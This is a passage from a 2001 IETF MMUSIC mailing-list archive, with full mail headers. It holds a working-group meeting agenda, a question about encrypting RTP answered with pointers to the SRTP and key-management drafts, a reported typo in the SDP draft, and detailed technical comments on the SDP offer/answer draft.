>subsequent SETUP and PLAY methods for the sources in that stream. 
>Rather, the IOD should then dictate when the SETUP and PLAY requests 
>occur for the discrete streams (if ever).

No, as I say, usually the streams in that session are the ones you 
want;  the IOD supplies necessary extra setup information that you 
need.

Does this help the discussion?  (Hi Rob!).
-- 
David Singer
Apple Computer/QuickTime

From confctrl-owner  Mon Dec  3 04:28:23 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA14050
	for confctrl-outgoing; Mon, 3 Dec 2001 04:28:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA14045
	for <confctrl@zephyr.isi.edu>; Mon, 3 Dec 2001 04:28:22 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB3CT2g26788;
	Mon, 3 Dec 2001 04:29:03 -0800 (PST)
Received: from tzi.uni-bremen.de (localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id fB3CSf513677;
	Mon, 3 Dec 2001 13:28:41 +0100 (MET)
Message-ID: <3C0B6FF1.FEB83A8E@tzi.uni-bremen.de>
Date: Mon, 03 Dec 2001 13:28:33 +0100
From: Joerg Ott <jo@tzi.uni-bremen.de>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic@informatik.uni-bremen.de, confctrl@ISI.EDU
CC: csp@ISI.EDU
Subject: [Fwd: Agenda for the 52nd IETF: MMUSIC WG]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Attached is the (draft) agenda for the MMUSIC WG meeting
in Salt Lake City.

An HTML version with links to the dratfs is available at

    http://www.dmn.tzi.org/ietf/mmusic/

The links to the drafts are almost complete.  They will be updated
as soon as the missing drafts are posted.

Joerg

-------------------------------------------------------------------

MMUSIC Agenda for the 52nd IETF
===============================

Monday, 10 Dec 2001, 1530-1730
------------------------------

1530	Agenda bashing and status update	(chairs, 5)

1535	Revised MMUSIC charter			(chairs, 15)

1550	Revised SDP Specification		(Perkins, 15)
	- draft-ietf-mmusic-sdp-new-04.txt

1605	Connection-oriented media in SDP	(Yon, 15)
	- draft-ietf-mmusic-sdp-comedia-01.txt

1620	IPv6 for SDP				(Olson, 15)
	- draft-olson-sdp-ipv6-03.txt

1635	Key Management Support in SDP		(Lindholm, 10)
	- draft-ietf-mmusic-kmgmt-ext-00.txt

1645    General Offer-Answer Model for SDP	(Rosenberg, 10)
	- draft-rosenberg-mmusic-sdp-offer-answer-00.txt

1655	SDP and NAT (tentative only!)		(Huitema, 15)
	- draft-ietf-mmusic-natreq4udp-00.txt
	- draft-ietf-mmusic-sdp4nat-00.txt

1710	SDPng					(Ott, 20)
	- draft-ietf-mmusic-sdpng-03.txt

1730	Wrap-up

From confctrl-owner  Mon Dec  3 07:12:04 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA19860
	for confctrl-outgoing; Mon, 3 Dec 2001 07:12:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA19853
	for <confctrl@zephyr.isi.edu>; Mon, 3 Dec 2001 07:12:01 -0800 (PST)
Received: from hotmail.com (f46.law15.hotmail.com [64.4.23.46])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB3FCgg29599
	for <confctrl@isi.edu>; Mon, 3 Dec 2001 07:12:42 -0800 (PST)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 3 Dec 2001 07:12:37 -0800
Received: from 193.81.246.11 by lw15fd.law15.hotmail.msn.com with HTTP;
	Mon, 03 Dec 2001 15:12:37 GMT
X-Originating-IP: [193.81.246.11]
From: "Doctor Malek" <doctor_malek@hotmail.com>
To: confctrl@ISI.EDU
Subject: RTP encryption under SIP signalling!
Date: Mon, 03 Dec 2001 15:12:37 +0000
Mime-Version: 1.0
Content-Type: text/html
Message-ID: <F46j6fVCjmpp1qyXNMo0000eab6@hotmail.com>
X-OriginalArrivalTime: 03 Dec 2001 15:12:37.0643 (UTC) FILETIME=[F182FDB0:01C17C0C]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html><div style='background-color:'><DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV>Dear Sirs,</DIV>
<DIV>&nbsp;</DIV>
<DIV>I use a SIP Client and i want to&nbsp;encrypt RTP (first use asymmetric algorithm like RSA for symmetric key encryption then encrypt RTP data with symmetric Algo. like DES) data but it seems that SDP protocol dont supply this !</DIV>
<DIV>&nbsp;</DIV>
<DIV>Is that sinario posible with SDP&nbsp;?</DIV>
<DIV>&nbsp;</DIV>
<DIV>Can u help me?&nbsp;which protocol setting shall i use? which protocol ?&nbsp;<BR><BR>Best regards, </DIV>
<DIV></DIV>Dr. Malek 
<DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></div><br clear=all><hr>Get your FREE download of MSN Explorer at <a href='http://go.msn.com/bql/hmtag_itl_EN.asp'>http://explorer.msn.com</a><br></html>

From confctrl-owner  Mon Dec  3 22:14:48 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA22869
	for confctrl-outgoing; Mon, 3 Dec 2001 22:14:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA22864
	for <confctrl@zephyr.isi.edu>; Mon, 3 Dec 2001 22:14:47 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB46FTg03631
	for <confctrl@ISI.EDU>; Mon, 3 Dec 2001 22:15:29 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB46Dq4I005936;
	Tue, 4 Dec 2001 01:13:52 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9YZQ6>; Tue, 4 Dec 2001 01:15:20 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF020D70C9@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Doctor Malek'" <doctor_malek@hotmail.com>, confctrl@ISI.EDU
Subject: RE: RTP encryption under SIP signalling!
Date: Tue, 4 Dec 2001 01:15:12 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

http://www.ietf.org/internet-drafts/draft-ietf-mmusic-kmgmt-ext-00.txt

  
-----Original Message-----
From: Doctor Malek [mailto:doctor_malek@hotmail.com]
Sent: Monday, December 03, 2001 10:13 AM
To: confctrl@ISI.EDU
Subject: RTP encryption under SIP signalling!


Dear Sirs,

I use a SIP Client and i want to encrypt RTP (first use asymmetric algorithm
like RSA for symmetric key encryption then encrypt RTP data with symmetric
Algo. like DES) data but it seems that SDP protocol dont supply this !

Is that sinario posible with SDP ?

Can u help me? which protocol setting shall i use? which protocol ? 

Best regards, 
Dr. Malek 



Get your FREE download of MSN Explorer at http://explorer.msn.com

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Mon Dec  3 23:52:10 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA26427
	for confctrl-outgoing; Mon, 3 Dec 2001 23:52:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA26422
	for <confctrl@zephyr.isi.edu>; Mon, 3 Dec 2001 23:52:09 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB47qog23915
	for <confctrl@ISI.EDU>; Mon, 3 Dec 2001 23:52:51 -0800 (PST)
Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fB47qnu15973
	for <confctrl@ISI.EDU>; Tue, 4 Dec 2001 08:52:49 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Tue Dec 04 08:52:34 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ9J0RW>; Tue, 4 Dec 2001 08:52:48 +0100
Message-ID: <0DAEDF148988D411BB980008C7E65D2E04FE3F11@esealnt416>
From: "Fredrik Lindholm (ERA)" <Fredrik.Lindholm@era.ericsson.se>
To: "'Doctor Malek'" <doctor_malek@hotmail.com>, confctrl@ISI.EDU
Subject: RE: RTP encryption under SIP signalling!
Date: Tue, 4 Dec 2001 08:52:31 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The scenario you are describing is one of the scenarios that 
have been address lately. To secure an RTP stream, 
the Secure RTP (SRTP) has been proposed and you can find it at:
http://www.ietf.org/internet-drafts/draft-ietf-avt-srtp-02.txt
(this uses of course symmetric encryption, AES is currently 
proposed).

For the key management, MIKEY is one proposed protocol that 
mainly uses a key transport mechanism and that may be carried 
inside SDP. It can be found at:
http://www.ietf.org/internet-drafts/draft-ietf-msec-mikey-00.txt

As Jonathan Rosenberg pointed out, the proposed SDP (and RTSP) 
extensions are specified in: 
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-kmgmt-ext-00.txt


/Fredrik

> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: den 4 december 2001 07:15
> To: 'Doctor Malek'; confctrl@ISI.EDU
> Subject: RE: RTP encryption under SIP signalling!
> 
> 
> http://www.ietf.org/internet-drafts/draft-ietf-mmusic-kmgmt-ext-00.txt
> 
>   
> -----Original Message-----
> From: Doctor Malek [mailto:doctor_malek@hotmail.com]
> Sent: Monday, December 03, 2001 10:13 AM
> To: confctrl@ISI.EDU
> Subject: RTP encryption under SIP signalling!
> 
> 
> Dear Sirs,
> 
> I use a SIP Client and i want to encrypt RTP (first use 
> asymmetric algorithm
> like RSA for symmetric key encryption then encrypt RTP data 
> with symmetric
> Algo. like DES) data but it seems that SDP protocol dont supply this !
> 
> Is that sinario posible with SDP ?
> 
> Can u help me? which protocol setting shall i use? which protocol ? 
> 
> Best regards, 
> Dr. Malek 
> 
> 
> 
> Get your FREE download of MSN Explorer at http://explorer.msn.com
> 
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 

From confctrl-owner  Tue Dec  4 01:56:21 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id BAA00794
	for confctrl-outgoing; Tue, 4 Dec 2001 01:56:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA00789
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 01:56:20 -0800 (PST)
Received: from mp01.hananet.net ([211.202.13.159])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB49v2g17699
	for <confctrl@isi.edu>; Tue, 4 Dec 2001 01:57:02 -0800 (PST)
Received: from [211.44.249.158] by 
          <mp01.hananet.net> (Terrace internet messaging server 3.0 (for Hananet)) 
          with ESMTP id 2001120418:57:00:586019.25009.41
          for <confctrl@isi.edu>; 
          Tue, 04 Dec 2001 18:57:00 +0900 (KST) 
Message-ID: <010e01c17ca9$81591220$0b00a8c0@sanju>
Reply-To: "Sanjeev Singh" <sanjeev@uni-inc.co.kr>
From: "Sanjeev Singh" <sanjeev@uni-inc.co.kr>
To: <confctrl@ISI.EDU>
Subject: 
Date: Tue, 4 Dec 2001 18:53:20 +0900
Organization: U&I Information and Communication Ltd.
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_010B_01C17CF4.F11600A0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_010B_01C17CF4.F11600A0
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

DQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KU2FuamVldiBTaW5naC4N
ClRlY2huaWNhbCBDb25zdWx0YW50Lg0KVSZJIEluZm9ybWF0aW9uIGFuZCBDb21tdW5pY2F0aW9u
IEx0ZC4NCiMzMDQsIDNGLFYtVmFsbGV5IEJsZGcsIDcyNCBTdXNlby1Eb25nLA0KS2FuZ25hbS1L
dSxTZW91bCwxMzUtMjIwIEtvcmVhLg0KVEVMIDogODItMi0zNDEzLTMwNDAuDQpGQVggOiA4Mi0y
LTYyNDMtMzA0MS4NCk1vYmlsZSA6IDgyLTE4LTYwNi0zMDQwLg0KRS1tYWlsIDogc2FuamVldkB1
bmktaW5jLmNvLmtyLg0KdmlzaXQgdXMgOiBodHRwOi8vd3d3LnVuaS1pbmMuY28ua3IuDQoNCg==

------=_NextPart_000_010B_01C17CF4.F11600A0
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWtz
X2NfNTYwMS0xOTg3IiBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZT4NCjxNRVRBIGNvbnRlbnQ9Ik1T
SFRNTCA1LjAwLjMzMTQuMjEwMCIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwv
SEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+Jm5ic3A7PC9ESVY+DQo8RElWPjxG
T05UIGNvbG9yPSMwMDAwZmYgDQpmYWNlPSJUaW1lcyBOZXcgUm9tYW4iPi0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPEJSPlNhbmplZXYgDQpTaW5naC48QlI+VGVjaG5pY2Fs
IENvbnN1bHRhbnQuPEJSPlUmYW1wO0kgSW5mb3JtYXRpb24gYW5kIENvbW11bmljYXRpb24gDQpM
dGQuPEJSPiMzMDQsIDNGLFYtVmFsbGV5IEJsZGcsIDcyNCBTdXNlby1Eb25nLDxCUj5LYW5nbmFt
LUt1LFNlb3VsLDEzNS0yMjAgDQpLb3JlYS48QlI+VEVMIDogODItMi0zNDEzLTMwNDAuPEJSPkZB
WCA6IDgyLTItNjI0My0zMDQxLjxCUj5Nb2JpbGUgOiANCjgyLTE4LTYwNi0zMDQwLjxCUj5FLW1h
aWwgOiA8QSANCmhyZWY9Im1haWx0bzpzYW5qZWV2QHVuaS1pbmMuY28ua3IiPnNhbmplZXZAdW5p
LWluYy5jby5rcjwvQT4uPEJSPnZpc2l0IHVzIDogPEEgDQpocmVmPSJodHRwOi8vd3d3LnVuaS1p
bmMuY28ua3IiPmh0dHA6Ly93d3cudW5pLWluYy5jby5rcjwvQT4uPEJSPjwvRk9OVD48L0RJVj48
L0JPRFk+PC9IVE1MPg0K

------=_NextPart_000_010B_01C17CF4.F11600A0--


From confctrl-owner  Tue Dec  4 06:20:24 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA09995
	for confctrl-outgoing; Tue, 4 Dec 2001 06:20:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA09990
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 06:20:22 -0800 (PST)
Received: from accord-ntsrv3.accord-domain ([212.199.61.2])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB4EL0g17707
	for <confctrl@ISI.EDU>; Tue, 4 Dec 2001 06:21:04 -0800 (PST)
Received: by ACCORD-NTSRV3 with Internet Mail Service (5.5.2653.19)
	id <YD7KMY8X>; Tue, 4 Dec 2001 16:18:22 +0200
Message-ID: <B2518D608282D511BEA400508BBB91480AEDF3@ACCORD-NTSRV3>
From: "Even ,Roni" <roni.even@polycom.co.il>
To: confctrl@ISI.EDU
Subject: draft-ietf-mmusic-sdp-new-04.txt
Date: Tue, 4 Dec 2001 16:18:22 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="windows-1255"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
I think that there is a typo on page 23

An example of a static payload type is u-law PCM coded single
    channel audio sampled at 8KHz.  This is completely defined in the



Handley/Jacobson/Perkins                                       [Page 22]

INTERNET-DRAFT              Expires: May 2002              November 2001


    RTP Audio/Video profile as payload type 0, so the media field for
    such a stream sent to UDP port 49232 is:

         m=video 49232 RTP/AVP 0

Should be m=audio 49232 RTP/AVP 0

Roni Even



**********************************************
Roni Even
Polycom Network Systems
Tel: +972-3-9251200
Fax: +972-3-9211571
Email: roni.even@polycom.co.il


From confctrl-owner  Tue Dec  4 06:34:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA10501
	for confctrl-outgoing; Tue, 4 Dec 2001 06:34:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA10496
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 06:34:40 -0800 (PST)
Received: from accord-ntsrv3.accord-domain ([212.199.61.2])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB4EZLg21976
	for <confctrl@ISI.EDU>; Tue, 4 Dec 2001 06:35:22 -0800 (PST)
Received: by ACCORD-NTSRV3 with Internet Mail Service (5.5.2653.19)
	id <YD7KMY02>; Tue, 4 Dec 2001 16:32:44 +0200
Message-ID: <B2518D608282D511BEA400508BBB91480AEDF4@ACCORD-NTSRV3>
From: "Even ,Roni" <roni.even@polycom.co.il>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: draft-ietf-mmusic-sdp-new-04.txt - updated
Date: Tue, 4 Dec 2001 16:32:44 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="windows-1255"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
I think that there is a typo on page 23

An example of a static payload type is u-law PCM coded single
    channel audio sampled at 8KHz.  This is completely defined in the



Handley/Jacobson/Perkins                                       [Page 22]

INTERNET-DRAFT              Expires: May 2002              November 2001


    RTP Audio/Video profile as payload type 0, so the media field for
    such a stream sent to UDP port 49232 is:

         m=video 49232 RTP/AVP 0

Should be m=audio 49232 RTP/AVP 0

The next example has the same typo

Roni Even



**********************************************
Roni Even
Polycom Network Systems
Tel: +972-3-9251200
Fax: +972-3-9211571
Email: roni.even@polycom.co.il


From confctrl-owner  Tue Dec  4 06:57:44 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA11336
	for confctrl-outgoing; Tue, 4 Dec 2001 06:57:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA11331
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 06:57:42 -0800 (PST)
Received: from purple.east.isi.edu (reserved.east.isi.edu [65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB4EwNg28490
	for <confctrl@ISI.EDU>; Tue, 4 Dec 2001 06:58:24 -0800 (PST)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.east.isi.edu (8.11.6/8.11.6) with ESMTP id fB4EwF901142;
	Tue, 4 Dec 2001 09:58:16 -0500
Message-Id: <200112041458.fB4EwF901142@purple.east.isi.edu>
To: "Even ,Roni" <roni.even@polycom.co.il>
cc: confctrl@ISI.EDU
Subject: Re: draft-ietf-mmusic-sdp-new-04.txt 
In-Reply-To: Your message of "Tue, 04 Dec 2001 16:18:22 +0200."
             <B2518D608282D511BEA400508BBB91480AEDF3@ACCORD-NTSRV3> 
Date: Tue, 04 Dec 2001 09:58:15 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Fixed, thanks.
Colin


--> "Even ,Roni" writes:
>Hi,
>I think that there is a typo on page 23
>
>An example of a static payload type is u-law PCM coded single
>    channel audio sampled at 8KHz.  This is completely defined in the
>
>
>
>Handley/Jacobson/Perkins                                       [Page 22]
>
>INTERNET-DRAFT              Expires: May 2002              November 2001
>
>
>    RTP Audio/Video profile as payload type 0, so the media field for
>    such a stream sent to UDP port 49232 is:
>
>         m=video 49232 RTP/AVP 0
>
>Should be m=audio 49232 RTP/AVP 0
>
>Roni Even
>
>
>
>**********************************************
>Roni Even
>Polycom Network Systems
>Tel: +972-3-9251200
>Fax: +972-3-9211571
>Email: roni.even@polycom.co.il
>

From confctrl-owner  Tue Dec  4 09:33:16 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA17088
	for confctrl-outgoing; Tue, 4 Dec 2001 09:33:16 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA17082
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 09:33:13 -0800 (PST)
Received: from mail1.dynamicsoft.com (mail1.dynamicsoft.com [63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB4HXtg22834
	for <confctrl@ISI.EDU>; Tue, 4 Dec 2001 09:33:56 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fB4HVc4I009151;
	Tue, 4 Dec 2001 12:31:38 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <YAN9Y5ZW>; Tue, 4 Dec 2001 12:33:08 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF020D70E8@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Flemming Andreasen'" <fandreas@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>,
        Henning Schulzrinne
	 <schulzrinne@cs.columbia.edu>
Cc: MMUSIC <confctrl@ISI.EDU>
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
Date: Tue, 4 Dec 2001 12:33:06 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Flemming,

Thanks for the detailed comments. Responses inline.
 

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@cisco.com]
> Sent: Tuesday, November 06, 2001 6:26 PM
> To: Jonathan Rosenberg; Henning Schulzrinne
> Cc: MMUSIC
> Subject: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> 
> 
> Thanks for putting together
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>. A couple of 
> questions
> and comments:
> 
> - Section 2 specifies that "Either an e line or p line MUST 
> be present."
> however this was made optional in 
> <draft-ietf-mmusic-sdp-new-03.txt>. In
> general, I think we should avoid stating or repeating 
> requirements that
> belong in the SDP specification itself.

Yes, good points.

I don't want to make offer-answer dependent on sdp-new. However, what I will
do is state that the SDP must be valid, as specified in rfc2327, except that
the restriction on having either an e or p line is lifted, so that neither
may be present. This brings us into alignment without introducing a
dependency. The draft says that its recommended that you accept SDP without
these, but that wording is not strong enough for interop.


> 
> - Section 2 mentions that SDP allows for concatenation of multiple
> session descriptions. I can't seem to find this in the SDP 
> spec - where
> does it say that ?

Page 7:

   When SDP is conveyed by SAP, only one session description is allowed
   per packet.  When SDP is conveyed by other means, many SDP session
   descriptions may be concatenated together (the `v=' line indicating
   the start of a session description terminates the previous
   description). 


> 
> - Section 2 says that "Once the offerer has sent the offer, it MUST be
> prepared to receive media described by that offer." For send/receive
> media streams, I believe the offerer must also be prepared to 
> send such
> media (although obviously it can't until it gets the answer).

I don't understand. If it can't send until it gets the answer, what does it
mean to be prepared to send after sending the offer?

> 
> - Section 2.1: I share the concerns raised by others about 
> the following
> sentence: "When receiving multiple streams of the same type, 
> the streams
> MUST be mixed before playing them out". This seems overly restrictive.

Without well defined behavior, I don't see how we will have reasonable
interoperability. Applications will depend on knowing what the end system
will do with media. What would be your proposal?


> 
> - Section 3: The sentence "The definition of rejected is both neither
> offerer and answerer MUST NOT generate media (or RTCP 
> packets) for that
> stream." doesn't seem to parse quite right.

OK. How about:

If a stream is rejected, the offerer and
answerer {\MUSTNOT} generate media (or RTCP packets) for that
stream. 

> 
> - Section 3 says that "Once the answer has been sent, the 
> answerer MUST
> be prepared to receive media as described in the answer.". For
> send/receive streams I believe the answerer must also be prepared to
> send such media.

Same as above; I don't understand what this means.

> 
> - Section 3.1. says (for sendrecv media streams) that "The stream MAY
> indicate additional codecs, not listed in the corresponding stream in
> the offer, that the answerer is willing to receive with." 
> This makes the
> interpretation of the codecs listed context-dependent which is fairly
> unfortunate. If the answerer wishes to add additional codecs to the
> sendrecv stream, he should be able to both send and receive 
> those codecs
> (regardless of whether the offerer seems interested in receiving media
> encoded with such codecs).

Well, he can't send with them, since the offerer hasn't indicated that they
are supported. So, effectively, they are receive only.


> 
> - Section 4.3 says that "The offerer MUST NOT cease listening 
> for media
> on the old port until media arrives on the new port. At that time, it
> MAY cease listening for media on the old port.". This means that you
> allow the presence of media to serve as confirmation of your offer. I
> think this opens up a race condition and would prefer getting 
> the answer
> back as well.

Thats a good point. Text now reads:

soon as the offer is sent. The offerer {\MUSTNOT} cease listening for
media on the old port until the answer is received and media arrives
on the new port. At that time, it {\MAY} cease listening for media on
the old port. 


> 
> - Section 4.3. says that "When a new codec is used with a dynamic
> payload type number, it MUST NOT reuse a dynamic payload type number
> used previously in the session.". I don't think the sentence 
> accurately
> captures the intention (since "new codec" seems to simply refer to the
> most recent offer) which I belive is simply to forbid changing the
> mapping from a given payload type to a given codec. If that 
> mapping was
> done X offer/invite exchanges ago, and we want to reuse it now, it
> should be allowed.

Correct. 

I've reworded. It now reads:

The list of codecs used in the session {\MAY} be changed. To do this,
the offerer creates a new media description, with the list of media
formats in the m line different from the corresponding stream in the
previous SDP. This list {\MAY} include new codecs, and {\MAY} remove
codecs present from the previous SDP. However, the mappings of a
particular codec to a dynamic payload type number {\MUSTNOT} change
for the duration of a session. For example, if A generates an offer
with G.711 assigned to dynamic payload type number 46, and then later
updates the session by removing the codec, and then once again adds it
back, dynamic payload type number 46 could not be used for any other
codec except for G.711. However, it is acceptable for multiple payload
type numbers to be mapped to the same codec, so that an updated offer
would use payload type number 72 for G.711. The mappings need to
remain fixed for the duration of the session because of the loose
synchronization between signaling exchanges of SDP and the media
stream. 


Is this better?

> 
> - Section 4.3 is silent on what the offerer and answerer do with the
> codecs (and media types) from the previous successful offer/answer. At
> what point do the offerer and answerer stop accepting media 
> according to
> the old offer and answer ?

Good question. Its simple when there is no overlap in the set of codecs
between the original offer and the new one; you accept on the old until you
get both the answer AND someone starts using the new codecs. When there is
overlap, its more complex. If the other side changes codecs to one of the
overlapping codecs, you don't know if this was due to receiving the offer,
or just an unrelated change in selection of media for the previous offer.

How about this:

The corresponding media stream in the answer is formulated as
described in Section \ref{sec:sdp:answer}. The offerer MUST be
prepared to use codecs from the old offer/answer exchange, until it
(1) receives the answer, and (2) receives media using a codec not
previously allowed from the old offer/answer exchange, or one minute
elapses, which ever happens first. The offerer MUST send using codecs
from the new offer/answer as soon as the answer is received, and MUST
be prepared to receive using codecs from the new offer as soon as the
offer is sent. The answerer MUST be prepared to use codecs from the
old offer/answer exchange until it receives media using a codec not
previously allowed from the old offer/answer exchange, or one minute
elapses, which ever happens first. The answerer MUST send using codecs
